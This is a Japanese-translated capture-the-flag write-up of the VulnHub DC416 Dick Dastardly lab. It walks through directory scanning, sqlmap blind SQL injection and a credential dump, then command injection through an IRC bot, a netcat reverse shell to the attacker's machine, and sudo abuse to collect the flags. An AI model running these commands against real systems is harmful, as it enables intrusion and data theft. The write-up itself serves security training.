VulnHub:DC416 Dick Dastardly Parsing


VulnHubチームは、 DefConトロントのカンファレンスから一連のクエストを準備しました。これは、 リンクからダウンロードして試すことができます。

そしてこの記事では、 DC416 Dick Dastardly分析があります

始めましょう


Nmapは 、ポート22と80を除き、他には何も生成しなかったため、隠しディレクトリの検索に移りましょう。

$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403 



ここでindex.phpへの興味深いリダイレクトを確認します。 何があるか見てみましょう:



sqlmapを開始します

 $ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch 

POSTパラメーター 'name'は脆弱です。 他の(もしあれば)をテストし続けますか? [y / N] N
sqlmapは、合計6638のHTTP要求で次の注入ポイントを識別しました。
-パラメーター:名前(POST)
タイプ:AND / OR時間ベースのブラインド
タイトル:MySQL> = 5.0.12 AND時間ベースのブラインド
ペイロード:name = asd '||(SELECT' Uknw 'FROM DUAL WHERE 1538 = 1538 AND SLEEP(5))||'&msg = asd
-[00:52:02] [情報]バックエンドDBMSはMySQLです
Webサーバーのオペレーティングシステム:Linux Ubuntu
Webアプリケーションテクノロジー:Apache 2.4.7、PHP 5.5.9
バックエンドDBMS:MySQL> = 5.0.12

インジェクションがありますが、 sqlmapはそれをほどくことができませんでした。 2番目のフォームに渡します。

 $ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables 

メッセージが表示され、 sqlmapパラメーターを調整します。
[13:17:56] [情報] POSTパラメーター「issue」は「MySQL RLIKEブールベースのブラインド-WHERE、HAVING、ORDER BYまたはGROUP BY句」を注入可能(--string = "an"を使用)

再起動後、 sqlmapはインジェクションを巻き戻します。 そして、テーブルのリストを表示しました。
adminsテーブルをダンプします

 $ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump 



明確なパスワードとログインを見つけました。 ログイン:



IRCボットのWeb管理パネルに入ります。 ここで、ボットの所有者を変更できます。 データベースから抽出したユーザー名とパスワードを入力します。 次に、自然にクリックしてIPをホワイトシートに追加し、ボットをアクティブにします。

nmapを再度実行します。



実行中のIRCサーバーに接続します。挨拶をご覧ください。



チャンネルのリストを見てみましょう:

/list

そこでチャネル#vulnhubを見つけて接続します。

/join #vulnhub

XChatを使用しました。チャンネルのユーザーリストの右側に、起動したボットvulnhub-botがあります。 彼との対話を始めましょう。



フラグが見つかりましたが、これは2番目のフラグです...どこかで最初のフラグを逃しました。 niktoを実行して、最初のフラグを見つけます。

 $ sudo nikto -host http://192.168.1.68 -C all + Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f} 


IRCを介してシェルを使用して、本格的なコンソールを開きます。

 $ netcat -lvp 9999 

ボットにコマンドを送信します。

Unix shell netcat -e /bin/sh 192.168.1.124 9999

プロセスのリストを見ると、それらの1つがrootとして実行されていることがわかりました。
ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2

うーん、これは面白いです。flag0を見つけるICMPパケットでWireSharkを実行しています:

flag0 {the_quieter_you_become_the_more_you_are_able_to_hear}

最後のものが残った。 現在のユーザーがどの特権を使用できるかを見てみましょう。

 sudo -l 

DickDastardlyのrastaの一致するデフォルトエントリ:
env_reset、mail_badpass、
secure_path = / usr / local / sbin \:/ usr / local / bin \:/ usr / sbin \:/ usr / bin \:/ sbin \:/ bin

ユーザーrastaは、DickDastardlyで次のコマンドを実行できます。
(vulnhub)NOPASSWD:/ usr / bin / python /usr/local/sbin/util.py

どうやら、これはそのようなものではありません:

 sudo -u vulnhub python /usr/local/sbin/util.py 

開始後、次のインタラクティブな出力が得られます。



多くの機能は利用できず、周りを見て、最後のフラグを見つけました:



より正確には、彼が横たわっている場所。 私は自分のコマンドを挿入しようとしましたが、ディレクトリ一覧を選択するときにうまくいきました:



さて、正しい順序ではありませんが、すべてのフラグが収集されます!

Source: https://habr.com/ru/post/J318372/


All Articles